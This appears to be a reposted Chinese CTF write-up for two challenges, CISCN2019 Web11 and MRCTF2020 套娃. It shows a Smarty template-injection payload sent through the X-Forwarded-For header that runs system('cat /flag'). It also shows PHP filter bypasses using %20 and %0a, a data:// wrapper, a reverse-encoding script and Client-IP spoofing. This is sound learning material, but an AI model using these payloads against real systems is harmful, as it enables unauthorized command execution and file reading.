其他分享
首页 > 其他分享> > [CISCN2019 华东南赛区]Web11 和[MRCTF2020]套娃

[CISCN2019 华东南赛区]Web11 和[MRCTF2020]套娃

作者:互联网

[CISCN2019 华东南赛区]Web11

知识点:Smarty模板引擎注入

1.刚开始看到这题目没有啥思路,都是看不懂的英文,就只有一个 X-Forwarded-For留意了下,然后在最下面看到了 Build With Smarty !

image-20220213180337425

2.之前就做过一道Smarty的,注入点就在 X-Forwarded-For 然后就抓包,添加一个 X-Forwarded-For

image-20220213180915635

可见确实存在注入,直接{system("cat /flag")}得到flag

image-20220213181216991

[MRCTF2020]套娃

1.首先查看源码

image-20220213183323158

2.不能有下划线,且b_u_p_t不能等于23333但是又要和23333相匹配

3.下划线可以用%20(空格)代替,23333后面可以加个%0a 也就是换行来越过

image-20220213183515298

得到image-20220213183534820

4.进去看看

image-20220213183603588

5.查看源码,有一串编码,

image-20220213183743248

解码得到

image-20220213183726231

6.那就post随便传个Merak=1进去,得到一串PHP代码

image-20220213184021232

需要改IP,那考虑抓个包来修改

7.file_get_content函数将整个数据读入一个字符串中,因为后面是单引号,又用===判断全等,用data://text/plain;进行转换

change函数将传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2 不能直接传入flag.php 那我们反推change函数

<?php
function unchange($v){
  $re = '';
  for($i=0;$i<strlen($v);$i++){
      $re .= chr ( ord ($v[$i]) - $i*2 );
  }
  return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

image-20220213185136505

所以pyload:?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

最后那个IP不知道咋改,看了别人的wp知道只能用client-ip改

得到flag

 

标签:23333,套娃,Forwarded,re,Smarty,Web11,flag,源码,CISCN2019
来源: https://www.cnblogs.com/l0vehzzz/p/15896861.html